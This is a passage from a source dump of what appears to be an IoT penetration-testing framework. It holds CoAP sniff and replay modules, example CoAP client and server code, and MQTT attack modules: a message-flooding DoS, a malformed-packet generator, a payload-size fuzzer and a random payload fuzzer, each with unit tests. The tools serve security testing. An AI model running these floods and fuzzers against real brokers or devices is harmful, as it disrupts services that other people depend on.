(str(selected_packet["ip"].dst), int(selected_packet["udp"].dstport))) except IndexError as e: self.logger.error("Invalid packet index. Indices start from 0...") def pre_attack_process(self): """ TODO Need to think how we can integrate such a pre_called method to GUI before attack execution Scans valid packets to be replayed """ super(CoAPReplayAttack, self).set_input_value("timeout") try: assert self.timeout >= 0 self.captured_packets = CoAPScanner().scan(self.timeout, self.interface, True) except AssertionError as e: self.logger.error("Invalid timeout for scan operation!") class TestCoAPReplayAttack(unittest.TestCase): def setUp(self): self.coap_replay_attack = CoAPReplayAttack() def tearDown(self): pass def test_name(self): self.assertEqual("CoAP Replay Attack", self.coap_replay_attack.get_attack_name()) def test_non_initialized_inputs(self): inputs = self.coap_replay_attack.get_inputs() for _input in inputs: value = getattr(self.coap_replay_attack, _input.get_name()) self.assertTrue(value is None or type(value) == _input.get_type()) def test_after_getting_inputs(self): example_inputs = [8, 13.2, "test-interface"] for index, _input in enumerate(example_inputs): self.coap_replay_attack.inputs[index].set_value(_input) super(CoAPReplayAttack, self.coap_replay_attack).run() inputs = self.coap_replay_attack.get_inputs() for index, _input in enumerate(inputs): value = getattr(self.coap_replay_attack, _input.get_name()) self.assertEqual(example_inputs[index], value) def test_replay_attack(self): example_inputs = [0, 15., "any"] for index, _input in enumerate(example_inputs): self.coap_replay_attack.inputs[index].set_value(_input) self.coap_replay_attack.pre_attack_process() packets = self.coap_replay_attack.captured_packets self.assertIsNotNone(packets) self.assertTrue(type(packets) == list) self.assertGreaterEqual(len(packets), 0) if len(packets) > 0: self.coap_replay_attack.run() self.assertTrue(True) else: self.assertTrue(False) if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/CoAP/attacks/coap_sniff_attack.py ================================================ import logging import signal import time import unittest from Entity.attack import Attack from Entity.input_format import InputFormat from Utils import CommonUtil from Utils.SnifferUtil import generic_sniffer from protocols.CoAP.coap_scanner import CoAPScanner class CoAPSniffAttack(Attack): """ It is created to scan/sniff the devices for their information CoAP Protocol - Sniff Attack module """ # Input Fields timeout = generic_sniffer.DEFAULT_SNIFF_TIMEOUT interface = generic_sniffer.DEFAULT_INTERFACE save_output = generic_sniffer.DEFAULT_SAVE # Miscellaneous Members logger = None def __init__(self): default_parameters = [10.0, generic_sniffer.DEFAULT_INTERFACE, generic_sniffer.DEFAULT_SAVE] inputs = [ InputFormat("Timeout", "timeout", self.timeout, float), InputFormat("Interface", "interface", str(self.interface), str, mandatory=True), InputFormat("Save Captured Packets", "save_output", str(self.save_output), bool) ] Attack.__init__(self, "CoAP Sniff Attack", inputs, default_parameters, " It listens to the network traffic and\n" " captures CoAP packets.") logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s") # Signal handler to exit from function signal.signal(signal.SIGINT, self.signal_handler) def signal_handler(self, sig, frame): self.stop_attack() def stop_attack(self): self.logger.info("Exitting...") time.sleep(2) # Sleep two seconds so the user can see the message def run(self): super(CoAPSniffAttack, self).run() packets = CoAPScanner().scan(self.timeout, self.interface, output_pcap_filename="CoAP_" + CommonUtil.get_current_datetime_for_filename_format() if self.save_output else None) for packet in packets: self.logger.info(packet) return packets class TestCoAPSniffAttack(unittest.TestCase): def setUp(self): self.coap_sniff_attack = CoAPSniffAttack() def tearDown(self): pass def test_name(self): self.assertEqual("CoAP Sniff Attack", self.coap_sniff_attack.get_attack_name()) def test_non_initialized_inputs(self): inputs = self.coap_sniff_attack.get_inputs() for _input in inputs: value = getattr(self.coap_sniff_attack, _input.get_name()) self.assertTrue(value is None or type(value) == _input.get_type()) def test_after_getting_inputs(self): example_inputs = [13.2, "test-interface", False] for index, _input in enumerate(example_inputs): self.coap_sniff_attack.inputs[index].set_value(_input) super(CoAPSniffAttack, self.coap_sniff_attack).run() inputs = self.coap_sniff_attack.get_inputs() for index, _input in enumerate(inputs): value = getattr(self.coap_sniff_attack, _input.get_name()) self.assertEqual(example_inputs[index], value) def test_sniff_attack(self): example_inputs = [10.0] for index, _input in enumerate(example_inputs): self.coap_sniff_attack.inputs[index].set_value(_input) packets = self.coap_sniff_attack.run() self.assertIsNotNone(packets) self.assertTrue(type(packets) == list) self.assertGreaterEqual(len(packets), 0) if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/CoAP/coap_protocol.py ================================================ from Entity.protocol import Protocol import unittest class CoAP(Protocol): def __init__(self): co_ap_definition = "CoAP (Constrained Application Protocol) is designed as a lightweight machine-to-machine " \ "(M2M) protocol that can run on smart devices where memory and computing resources are " \ "scarce.\n\n" \ "The protocol is especially targeted for constrained hardware such as 8-bits microcontrollers " \ ",low power sensors and similar devices that can not run on HTTP or TLS. CoAP is a " \ "simplification of the HTTP protocol running on UDP, that helps save bandwidth. But just " \ "like any other UDP-based protocol, CoAP is inherently susceptible to IP address " \ "spoofing and packet amplification, the two major factors that enable the amplification of " \ " a DDoS attack.\n\nLike HTTP, CoAP is based on the wildly successful REST model: Servers " \ "make resources available under a URL, and clients access these resources using methods " \ "such as GET, PUT, POST, and DELETE.\n\nCoAP can carry different types of payloads, and " \ "can identify which payload type is being used. CoAP integrates with XML, JSON, CBOR, or " \ "any data format of your choice.\n\nCoAP is designed to use minimal resources, both on " \ "the device and on the network. Instead of a complex transport stack, it gets by with UDP " \ "on IP. A 4-byte fixed header and a compact encoding of options enables small messages that" \ "cause no or little fragmentation on the link layer. Many servers can operate in a " \ "completely stateless fashion." attack_suites = [] Protocol.__init__(self, "CoAP", attack_suites, co_ap_definition) class TestCoAPProtocol(unittest.TestCase): def setUp(self): self.coap = CoAP() def tearDown(self): pass def test_name(self): self.assertEqual("CoAP", self.coap.get_protocol_name()) def test_attacks(self): attack_suites = self.coap.get_attack_suites() self.assertIsNotNone(attack_suites) self.assertEquals(len(attack_suites), 0) if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/CoAP/coap_scanner.py ================================================ from Utils.SnifferUtil import generic_sniffer as generic_sniffer import socket # Capturing via TShark coap_layer_filter = 'coap' class CoAPScanner: """ This class is used to scan for a CoAP device. It captures packets from the network and try to find CoAP devices. """ def __init__(self): pass @staticmethod def scan(timeout=generic_sniffer.DEFAULT_SNIFF_TIMEOUT, interface=generic_sniffer.DEFAULT_INTERFACE, use_json_and_include_raw=False, output_pcap_filename=None): sniffer = generic_sniffer.GenericSniffer(timeout=timeout, interface=interface, use_json=use_json_and_include_raw, include_raw=use_json_and_include_raw, output_pcap_filename=output_pcap_filename, display_filter=coap_layer_filter) sniffer.start_live_capture() return sniffer.get_captured_packets() @staticmethod def get_raw_udp_payload_as_bytes(packet): return (packet.coap_raw.value[0]).decode("hex") @staticmethod def get_raw_frame_as_bytes(packet): return (packet.frame_raw.value[0]).decode("hex") if __name__ == '__main__': raw = False packets = CoAPScanner().scan() """ for i in packets: # Send messages to server as replayed if raw: if "" not in str(i.layers): udp_payload = CoAPScanner.get_raw_udp_payload_as_bytes(i) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(udp_payload, ("127.0.0.1", 5683)) else: print i """ ================================================ FILE: src/protocols/CoAP/examples/__init__.py ================================================ """ This package contains the following functionalities: 1) CoAP Server Example 2) CoAP Client Example 3) CoAP Resource Example """ ================================================ FILE: src/protocols/CoAP/examples/client_example.py ================================================ from coapthon.client.helperclient import HelperClient import argparse import logging import signal import sys import time DEFAULT_HOST = "127.0.0.1" DEFAULT_PORT = 5683 DEFAULT_PATH = "peniot" logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s") logger = logging.getLogger("CoAP Client") global_client = None """ CoAP Basic Client """ def signal_handler(sig, frame): global global_client logger.info("Connection will be closed") if global_client is not None: global_client.stop() sys.exit(0) def client_procedure(host, port, path): """ Client procedure for CoAP :param host: Host address to connect :param port: Port number of server :param path: Path as endpoint to request resources :return: None """ # Signal handler to exit from function signal.signal(signal.SIGINT, signal_handler) # Make global client available to exit properly global global_client client = HelperClient(server=(host, port)) global_client = client # Start client loop for requests while True: response = client.get(path) logger.info("Received message = {0}".format(str(response.line_print))) time.sleep(2) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("-H", "--host", help="Host string of server", default=DEFAULT_HOST) parser.add_argument("-P", "--port", help="Port number of server", default=DEFAULT_PORT, type=int) parser.add_argument("-e", "--endpoint", help="Path of resources", default=DEFAULT_PATH) args = parser.parse_args() client_procedure(args.host, args.port, args.endpoint) ================================================ FILE: src/protocols/CoAP/examples/resource_example.py ================================================ from coapthon.resources.resource import Resource class BasicResource(Resource): def __init__(self, name="BasicResource", coap_server=None): super(BasicResource, self).__init__(name, coap_server, visible=True, observable=True, allow_children=True) self.payload = "Basic Resource" def render_GET(self, request): return self def render_PUT(self, request): self.payload = request.payload return self def render_POST(self, request): res = BasicResource() res.location_query = request.uri_query res.payload = request.payload return res def render_DELETE(self, request): return True def render_GET_advanced(self, request, response): pass def render_PUT_advanced(self, request, response): pass def render_POST_advanced(self, request, response): pass def render_DELETE_advanced(self, request, response): pass ================================================ FILE: src/protocols/CoAP/examples/server_example.py ================================================ from coapthon.server.coap import CoAP from resource_example import BasicResource import argparse # import logging DEFAULT_HOST = "0.0.0.0" DEFAULT_PORT = 5683 DEFAULT_PATH = "peniot" # Since it has logger itself # logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s") # logger = logging.getLogger("CoAP Server") """ CoAP Basic Server """ class CoAPServer(CoAP): def __init__(self, host, port, path): CoAP.__init__(self, (host, port)) self.add_resource(path + '/', BasicResource()) def server_procedure(host, port, path): """ Server procedure for CoAP :param host: Host address to connect :param port: Port number of server :param path: Path as endpoint to request resources :return: None """ server = CoAPServer(host, port, path) try: server.listen(10) except KeyboardInterrupt: print "Server Shutdown" server.close() print "Exiting..." if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("-H", "--host", help="Host string of server", default=DEFAULT_HOST) parser.add_argument("-P", "--port", help="Port number of server", default=DEFAULT_PORT, type=int) parser.add_argument("-e", "--endpoint", help="Path of resources", default=DEFAULT_PATH) args = parser.parse_args() server_procedure(args.host, args.port, args.endpoint) ================================================ FILE: src/protocols/MQTT/__init__.py ================================================ """ This package includes the following functionalities 1) Attacks to perform on MQTT protocol 2) MQTT subscriber and publisher for testing Mosquitto servers 3) ... Moreover, we have a class which inherits from Protocol class. """ ================================================ FILE: src/protocols/MQTT/attacks/__init__.py ================================================ """ This is a package that contains attacks to MQTT protocol. Currently, it supports the following attacks 1) Denial of Service Attack 2) Fuzzing Attack 3) Replay Attack 4) Sniff Attack """ ================================================ FILE: src/protocols/MQTT/attacks/mqtt_dos_attack.py ================================================ import multiprocessing import random import signal import string import sys import logging import time import unittest import paho.mqtt.client as paho from Entity.attack import Attack from Entity.input_format import InputFormat from Utils.RandomUtil import random_generated_names class MQTTDoSAttack(Attack): """ MQTT Protocol - DoS Attack Module This class is used for populating repeated messages aiming to broker """ client = None # Input Fields host = None topic = "#" message = None username = None password = None timeout = 0.01 stopped_flag = False # This flag will help us for a smooth exit # Misc Members logger = None published_message_count = 0 def __init__(self): default_parameters = ["127.0.0.1", "#", "", "", "", 10.0] inputs = [ InputFormat("Broker Address", "host", "", str, mandatory=True), InputFormat("Topic Name", "topic", self.topic, str, mandatory=True), InputFormat("Username", "username", "", str, mandatory=True), InputFormat("Password", "password", "", str, mandatory=True, secret=True), InputFormat("Message", "message", "", str, mandatory=True), InputFormat("Timeout", "timeout", self.timeout, float) ] Attack.__init__(self, "MQTT DoS Attack", inputs, default_parameters, " We publish messages to MQTT broker.\n" " The time difference between messages\n" " can be specified.") logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s") # Signal handler to exit from function signal.signal(signal.SIGINT, self.signal_handler) def signal_handler(self, sig, frame): self.stop_attack() def stop_attack(self): self.logger.info("Published message count: {0}, exitting...".format(self.published_message_count)) if self.stopped_flag is False: # Stop the attack self.client.loop_stop() self.stopped_flag = True if self.client is not None: self.client.disconnect() # Close the connection before exitting time.sleep(2) # Sleep two seconds so the user can see the message # sys.exit(0) def pre_attack_init(self): self.client = paho.Client(random_generated_names.get_random_client_name()) self.client.connect(self.host) def run(self): Attack.run(self) self.pre_attack_init() # Start client loop for requests self.published_message_count = 0 self.client.loop_start() if self.message is None or len(self.message.strip()) == 0: self.message = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(50)) while self.stopped_flag is False: # If we don't check this, GUI goes back but a separate thread keeps sending MQTT messages try: self.published_message_count += 1 if self.username is None: # Authentication not required self.client.publish(self.topic, self.message, retain=True) self.logger.info( "Sent message count = {0} with topic = {1}.".format(self.published_message_count, self.topic)) else: # Authentication required # TODO Handle authentication after getting inputs self.client.publish(self.topic, self.message, retain=True) self.logger.info( "Sent message count = {0} with topic = {1}.".format(self.published_message_count, self.topic)) time.sleep(self.timeout) except Exception as e: self.logger.debug(sys.exc_info()[0]) break self.client.loop_stop() self.stopped_flag = True class TestMQTTDoSAttack(unittest.TestCase): def setUp(self): self.mqtt_dos_attack = MQTTDoSAttack() def tearDown(self): pass def test_name(self): self.assertEqual("MQTT DoS Attack", self.mqtt_dos_attack.get_attack_name()) def test_inputs(self): inputs = self.mqtt_dos_attack.get_inputs() self.assertIsNotNone(inputs) self.assertGreater(len(inputs), 0, "Non inserted inputs") self.assertEquals(len(inputs), 6) def test_non_initialized_inputs(self): inputs = self.mqtt_dos_attack.get_inputs() for _input in inputs: value = getattr(self.mqtt_dos_attack, _input.get_name()) self.assertTrue(value is None or type(value) == _input.get_type()) def test_after_getting_inputs(self): example_inputs = ["a.b.c.d", "peNiOt", "pen-user", "pen-pass", "peniot-payload", 13.2] for index, _input in enumerate(example_inputs): self.mqtt_dos_attack.inputs[index].set_value(_input) # Previously it should not be set self.assertIsNone(self.mqtt_dos_attack.client) super(MQTTDoSAttack, self.mqtt_dos_attack).run() inputs = self.mqtt_dos_attack.get_inputs() for index, _input in enumerate(inputs): value = getattr(self.mqtt_dos_attack, _input.get_name()) self.assertEqual(example_inputs[index], value) def test_dos_attack(self): def run_attack(): example_inputs = ["127.0.0.1", "peniot/test", None, None, "peniot-pay", 0.01] for index, _input in enumerate(example_inputs): self.mqtt_dos_attack.inputs[index].set_value(_input) self.mqtt_dos_attack.run() print "* If server is not initialized this test will not execute properly." p = multiprocessing.Process(target=run_attack, name="DoS Attack") p.start() time.sleep(5) if p.is_alive(): p.terminate() p.join() if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/MQTT/attacks/mqtt_fuzzing_attack_suite.py ================================================ from mqtt_generation_based_fuzzing import * from mqtt_payload_size_fuzzer import * from mqtt_random_payload_fuzzing import * from mqtt_topic_name_fuzzing import MQTTTopicNameFuzzingAttack from Entity.attack_suite import AttackSuite class MQTTFuzzingAttackSuite(AttackSuite): def __init__(self): attacks = [MQTTTopicNameFuzzingAttack(), MQTTGenerationBasedFuzzingAttack(), MQTTPayloadSizeFuzzerAttack(), MQTTRandomPayloadFuzzingAttack()] AttackSuite.__init__(self, "MQTT Fuzzing Attack Suite", attacks) class TestMQTTFuzzingAttackSuite(unittest.TestCase): def setUp(self): self.mqtt_fuzzing_attack_suite = MQTTFuzzingAttackSuite() def tearDown(self): pass def test_name(self): self.assertEqual("MQTT Fuzzing Attack Suite", self.mqtt_fuzzing_attack_suite.get_attack_suite_name()) def test_attack_list(self): attacks = self.mqtt_fuzzing_attack_suite.get_attacks() self.assertIsNotNone(attacks) self.assertGreater(len(attacks), 0, "Non inserted attacks") self.assertEquals(len(attacks), 4) def test_attacks(self): attacks = self.mqtt_fuzzing_attack_suite.get_attacks() for attack in attacks: p = multiprocessing.Process(target=attack.run, name=attack.get_attack_name()) p.start() time.sleep(5) if p.is_alive(): p.terminate() p.join() if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/MQTT/attacks/mqtt_generation_based_fuzzing.py ================================================ import multiprocessing import unittest import paho.mqtt.client as paho import logging import random import signal import struct import time from Entity.attack import Attack from Entity.input_format import InputFormat from Utils.RandomUtil import random_generated_names class MQTTGenerationBasedFuzzingAttack(Attack): """ MQTT Protocol - Payload Size Fuzzer Attack module It is created to test any MQTT device as black box test with malformed or semi-malformed inputs """ client = None # Input Fields address = None # Misc Members sent_message_count = 0 # Transmitted fuzzing packets logger = None stopped_flag = False subscribe = paho.SUBSCRIBE unsubscribe = paho.UNSUBSCRIBE def __init__(self): default_parameters = ["127.0.0.1"] inputs = [ InputFormat("Broker Address", "address", "", str, mandatory=True) ] Attack.__init__(self, "MQTT Generation Based Fuzzing Attack", inputs, default_parameters, " Inject the packets which are created from the scratch\n" " and changed by come of their bits to corrupt the content") logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s") # Signal handler to exit from function signal.signal(signal.SIGINT, self.signal_handler) def signal_handler(self, sig, frame): self.stop_attack() def stop_attack(self): self.logger.info("Transmitted fuzzing packet count: {0}, exitting...".format(self.sent_message_count)) self.stopped_flag = True if (self.client is not None): self.client.disconnect() # Close the connection before exitting time.sleep(2) # Sleep two seconds so the user can see the message # sys.exit(0) def pre_attack_init(self): self.client = paho.Client(random_generated_names.get_random_client_name()) try: self.client.connect(self.address) except Exception as e: self.logger.error("Failed to connect to broker") def send_subscribe_or_unsubscribe(self, fuzz_client, message_type, topics, dup=False, optional_remaining_length=2, command_dup_shift_times=3, command_base_xor_part=0x2): """ Generic subscribe and unsubscribe packet injection functionality :param fuzz_client: Client ot be fuzzed :param message_type: Currently either SUBSCRIBE or UNSUBSCRIBE :param topics: Topics in form [("my/topic", 0), ("another/topic", 2)] for SUBSCRIBE or ["my/topic",another/topic"] for UNSUBSCRIBE :param dup: Duplicate flag, I set it FALSE, but you can test with TRUE :param optional_remaining_length: To exploit message content, normally MQTT header length for SUBSCRIBE and UNSUBSCRIBE is 2 bytes :param command_dup_shift_times: Aligning command in header, change this to create malformed messages :param command_base_xor_part: Normally, we need to perform XOR with 0x2 to command part of MQTT Control Packet field of the header :type fuzz_client: mqtt.Client :return: Tuple of queued message and local mid """ remaining_length = optional_remaining_length for t in topics: remaining_length += optional_remaining_length + len(t) command = message_type | (dup << command_dup_shift_times) | command_base_xor_part packet = bytearray() packet.append(command) fuzz_client._pack_remaining_length(packet, remaining_length) local_mid = fuzz_client._mid_generate() packet.extend(struct.pack("!H", local_mid)) if message_type == self.subscribe: for t, q in topics: fuzz_client._pack_str16(packet, t) packet.append(q) elif message_type == self.unsubscribe: for t in topics: fuzz_client._pack_str16(packet, t) else: self.logger.info("Unknown message type in Generation Based Fuzzing") return (fuzz_client._packet_queue(command, packet, local_mid, 1), local_mid) def random_topic_generator(self, message_type, possible_characters, possible_qos_values, length=10): try: assert length > 2 where_to_put_slash = random.randint(1, length - 1) topic = "{0}/{1}".format( "".join([random.choice(possible_characters) for _ in range(1, where_to_put_slash)]), "".join([random.choice(possible_characters) for _ in range(where_to_put_slash, length)])) if message_type == self.subscribe: return topic, random.choice(possible_qos_values) elif message_type == self.unsubscribe: return topic else: self.logger.info("Unknown message type in Generation Based Fuzzing") except AssertionError: self.logger.error("Length must be greater than 2") return "random/topic" def run(self): Attack.run(self) self.pre_attack_init() subscribe = paho.SUBSCRIBE unsubscribe = paho.UNSUBSCRIBE # Quality of service creator random_qosses = [0, 1, 2] # Currently include "A...Za...z" random_strings = "".join([chr(_) for _ in range(65, 91)]) + "".join([chr(_) for _ in range(97, 123)]) ''' (fuzz_client, message_type, topics, dup=False, optional_remaining_length=2, command_dup_shift_times=3, command_base_xor_part=0x2): ''' test_cases = [ dict(message_type=subscribe, topics=[self.random_topic_generator(subscribe, random_strings, random_qosses)] , dup=False, optional_remaining_length=2, command_dup_shift_times=3, command_base_xor_part=0x2), dict(message_type=subscribe, topics=[self.random_topic_generator(subscribe, random_strings, random_qosses), self.random_topic_generator(subscribe, random_strings, random_qosses)] , dup=False, optional_remaining_length=3, command_dup_shift_times=3, command_base_xor_part=0x2), dict(message_type=subscribe, topics=[self.random_topic_generator(subscribe, random_strings, random_qosses)] , dup=False, optional_remaining_length=2, command_dup_shift_times=5, command_base_xor_part=0x2), dict(message_type=subscribe, topics=[self.random_topic_generator(subscribe, random_strings, random_qosses)] , dup=False, optional_remaining_length=2, command_dup_shift_times=3, command_base_xor_part=0x5), dict(message_type=unsubscribe, topics=[self.random_topic_generator(unsubscribe, random_strings, random_qosses)] , dup=False, optional_remaining_length=2, command_dup_shift_times=3, command_base_xor_part=0x2), dict(message_type=unsubscribe, topics=[self.random_topic_generator(unsubscribe, random_strings, random_qosses), self.random_topic_generator(unsubscribe, random_strings, random_qosses)] , dup=False, optional_remaining_length=3, command_dup_shift_times=3, command_base_xor_part=0x2), dict(message_type=unsubscribe, topics=[self.random_topic_generator(unsubscribe, random_strings, random_qosses)] , dup=False, optional_remaining_length=2, command_dup_shift_times=5, command_base_xor_part=0x2), dict(message_type=unsubscribe, topics=[self.random_topic_generator(unsubscribe, random_strings, random_qosses)] , dup=False, optional_remaining_length=2, command_dup_shift_times=3, command_base_xor_part=0x5) ] for test_case in test_cases: if self.stopped_flag is True: break self.send_subscribe_or_unsubscribe( self.client, test_case["message_type"], test_case["topics"], test_case["dup"], test_case["optional_remaining_length"], test_case["command_dup_shift_times"], test_case["command_base_xor_part"] ) # Increment sent message count self.sent_message_count += 1 self.logger.info("Test case {0} has been run in generation based fuzzing".format(str(test_case))) time.sleep(1) class TestMQTTGenerationBasedFuzzingAttack(unittest.TestCase): def setUp(self): self.mqtt_generation_based_fuzzer = MQTTGenerationBasedFuzzingAttack() def tearDown(self): pass def test_name(self): self.assertEqual("MQTT Generation Based Fuzzing Attack", self.mqtt_generation_based_fuzzer.get_attack_name()) def test_inputs(self): inputs = self.mqtt_generation_based_fuzzer.get_inputs() self.assertIsNotNone(inputs) self.assertGreater(len(inputs), 0, "Non inserted inputs") self.assertEquals(len(inputs), 1) def test_non_initialized_inputs(self): inputs = self.mqtt_generation_based_fuzzer.get_inputs() for _input in inputs: value = getattr(self.mqtt_generation_based_fuzzer, _input.get_name()) self.assertTrue(value is None or type(value) == _input.get_type()) def test_after_getting_inputs(self): example_inputs = ["a.b.c.d"] for index, _input in enumerate(example_inputs): self.mqtt_generation_based_fuzzer.inputs[index].set_value(_input) # Previously it should not be set self.assertIsNone(self.mqtt_generation_based_fuzzer.client) super(MQTTGenerationBasedFuzzingAttack, self.mqtt_generation_based_fuzzer).run() inputs = self.mqtt_generation_based_fuzzer.get_inputs() for index, _input in enumerate(inputs): value = getattr(self.mqtt_generation_based_fuzzer, _input.get_name()) self.assertEqual(example_inputs[index], value) def testGenerationBasedFuzzingAttack(self): def run_attack(): example_inputs = ["127.0.0.1"] for index, _input in enumerate(example_inputs): self.mqtt_generation_based_fuzzer.inputs[index].set_value(_input) try: self.mqtt_generation_based_fuzzer.run() except Exception as e: self.assertTrue(False) print "* If server is not initialized this test will not execute properly." p = multiprocessing.Process(target=run_attack, name="Generation Based Fuzzing Attack") p.start() time.sleep(10) if p.is_alive(): p.terminate() p.join() if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/MQTT/attacks/mqtt_payload_size_fuzzer.py ================================================ import paho.mqtt.client as paho import multiprocessing import logging import random import time import signal import unittest from Entity.attack import Attack from Entity.input_format import InputFormat from Utils.RandomUtil import random_generated_names class MQTTPayloadSizeFuzzerAttack(Attack): """ MQTT Protocol - Payload Size Fuzzer Attack module It is created to test any MQTT device as black box test with malformed or semi-malformed inputs """ client = None # Input Fields host = None topic = None fuzzing_turn = 10 # Miscellaneous Members logger = None max_payload_length = 268435455 sent_message_count = 0 # Transmitted fuzzing packets stopped_flag = False def __init__(self): default_parameters = ["127.0.0.1", "#", 10] inputs = [ InputFormat("Broker Address", "host", "", str, mandatory=True), InputFormat("Topic Name", "topic", self.topic, str, mandatory=True), InputFormat("Fuzzing Turn", "fuzzing_turn", self.fuzzing_turn, int) ] Attack.__init__(self, "MQTT Payload Size Fuzzer Attack", inputs, default_parameters, " MQTT Payload size fuzzer attack description") logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s") # Signal handler to exit from function signal.signal(signal.SIGINT, self.signal_handler) def signal_handler(self, sig, frame): self.stop_attack() def stop_attack(self): self.logger.info("Transmitted fuzzing packet count: {0}, exitting...".format(self.sent_message_count)) self.stopped_flag = True if self.client is not None: self.client.disconnect() # Close the connection before exitting time.sleep(2) # Sleep one second so the user can see the message # sys.exit(0) def pre_attack_init(self): try: assert self.fuzzing_turn >= 2 except AssertionError as e: raise self.client = paho.Client(random_generated_names.get_random_client_name()) try: self.client.connect(self.host) except Exception as e: self.logger.error("Failed to connect to broker") def run(self): Attack.run(self) self.pre_attack_init() # Fill the size list as randomly generated size_list = [0, self.max_payload_length] size_list.extend([random.randint(0, self.max_payload_length) for _ in range(self.fuzzing_turn - 2)]) fuzzing = 0 self.logger.info("Size payload fuzzing is started. Please consider it may take some time.") for payload_size in size_list: if self.stopped_flag is True: # An external interrupt can force us to finish the attack break # Create payload and send it random_strings = "".join([chr(_) for _ in range(65, 91)]) + "".join([chr(_) for _ in range(97, 123)]) random_character = random.choice(random_strings) sized_payload = random_character * payload_size self.client.publish(self.topic, sized_payload) # Increment sent message count self.logger.info( "Turn {0} is completed and {1} bytes of message is sent.".format(fuzzing + 1, payload_size)) self.sent_message_count += 1 fuzzing += 1 time.sleep(1) if self.stopped_flag is False: self.logger.info("Payload size attack is finished.") class TestMQTTPayloadSizeAttack(unittest.TestCase): def setUp(self): self.mqtt_payload_size_fuzzer = MQTTPayloadSizeFuzzerAttack() def tearDown(self): pass def test_name(self): self.assertEqual("MQTT Payload Size Fuzzer Attack", self.mqtt_payload_size_fuzzer.get_attack_name()) def test_inputs(self): inputs = self.mqtt_payload_size_fuzzer.get_inputs() self.assertIsNotNone(inputs) self.assertGreater(len(inputs), 0, "Non inserted inputs") self.assertEquals(len(inputs), 3) def test_non_initialized_inputs(self): inputs = self.mqtt_payload_size_fuzzer.get_inputs() for _input in inputs: value = getattr(self.mqtt_payload_size_fuzzer, _input.get_name()) self.assertTrue(value is None or type(value) == _input.get_type()) def test_after_getting_inputs(self): example_inputs = ["a.b.c.d", "peniot-coap-test", 8888] for index, _input in enumerate(example_inputs): self.mqtt_payload_size_fuzzer.inputs[index].set_value(_input) # Previously it should not be set self.assertIsNone(self.mqtt_payload_size_fuzzer.client) super(MQTTPayloadSizeFuzzerAttack, self.mqtt_payload_size_fuzzer).run() inputs = self.mqtt_payload_size_fuzzer.get_inputs() for index, _input in enumerate(inputs): value = getattr(self.mqtt_payload_size_fuzzer, _input.get_name()) self.assertEqual(example_inputs[index], value) def test_invalid_fuzzing_turn(self): example_inputs = ["127.0.0.1", "peniot-topic", 1] for index, _input in enumerate(example_inputs): self.mqtt_payload_size_fuzzer.inputs[index].set_value(_input) super(MQTTPayloadSizeFuzzerAttack, self.mqtt_payload_size_fuzzer).run() try: self.mqtt_payload_size_fuzzer.pre_attack_init() except AssertionError as e: self.assertTrue(True) def test_payload_size_fuzzing_attack(self): def run_attack(): example_inputs = ["127.0.0.1", "peniot/test", 3] for index, _input in enumerate(example_inputs): self.mqtt_payload_size_fuzzer.inputs[index].set_value(_input) try: self.mqtt_payload_size_fuzzer.run() except Exception as e: self.assertTrue(False) print "* If server is not initialized this test will not execute properly." p = multiprocessing.Process(target=run_attack, name="DoS Attack") p.start() time.sleep(5) if p.is_alive(): p.terminate() p.join() if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/MQTT/attacks/mqtt_random_payload_fuzzing.py ================================================ import multiprocessing import unittest import paho.mqtt.client as paho import logging import random import signal import time from Entity.attack import Attack from Entity.input_format import InputFormat from Utils.FuzzerUtil import radamsa_util as rdm from Utils.RandomUtil import random_generated_names class MQTTRandomPayloadFuzzingAttack(Attack): """ MQTT Protocol - Random Payload Fuzzing Attack module It is created to test any MQTT device as black box test with malformed or semi-malformed inputs """ client = None # Input Fields address = None topic = None turn = 10 count = 1 payload = None # Misc Members logger = None max_length_of_random_payload = 100 sent_message_count = 0 stopped_flag = False def __init__(self): default_parameters = ["127.0.0.1", "#", 10, 10, ""] inputs = [ InputFormat("Broker Address", "address", "", str, mandatory=True), InputFormat("Topic", "topic", "", str, mandatory=True), InputFormat("Fuzzing Turn", "turn", self.turn, int), InputFormat("Fuzzing Message Count in each Turn", "count", self.count, int), InputFormat("Payload", "payload", "", str, mandatory=True) ] Attack.__init__(self, "MQTT Random Payload Fuzzing Attack", inputs, default_parameters, " It creates a random payload and sends \n" " this payload to the client.") logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s") # Signal handler to exit from function signal.signal(signal.SIGINT, self.signal_handler) def signal_handler(self, sig, frame): self.stop_attack() def stop_attack(self): self.logger.info("Transmitted fuzzing packet count: {0}, exitting...".format(self.sent_message_count)) self.stopped_flag = True if self.client is not None: self.client.disconnect() # Close the connection before exitting time.sleep(2) # Sleep two seconds so the user can see the message # sys.exit(0) def pre_attack_init(self): self.client = paho.Client(random_generated_names.get_random_client_name()) try: self.client.connect(self.address) except Exception as e: self.logger.error("Failed to connect to broker") def run(self): Attack.run(self) self.pre_attack_init() self.client.loop_start() self.logger.info("Random payload fuzzing is started.") if self.payload is None: length = random.randint(1, self.max_length_of_random_payload) self.payload = "".join([chr(random.randint(1, 127)) for _ in range(length)]) for fuzzing in range(self.turn): if self.stopped_flag is True: break while True: try: returned_strings = rdm.get_ascii_decodable_radamsa_malformed_input(self.payload, self.count) if type(returned_strings) == list: fuzzer_messages = [string.decode("utf-8") for string in returned_strings] else: fuzzer_messages = returned_strings.decode("utf-8") break except UnicodeDecodeError: self.logger.debug("Error occurred while decoding payload in random payload 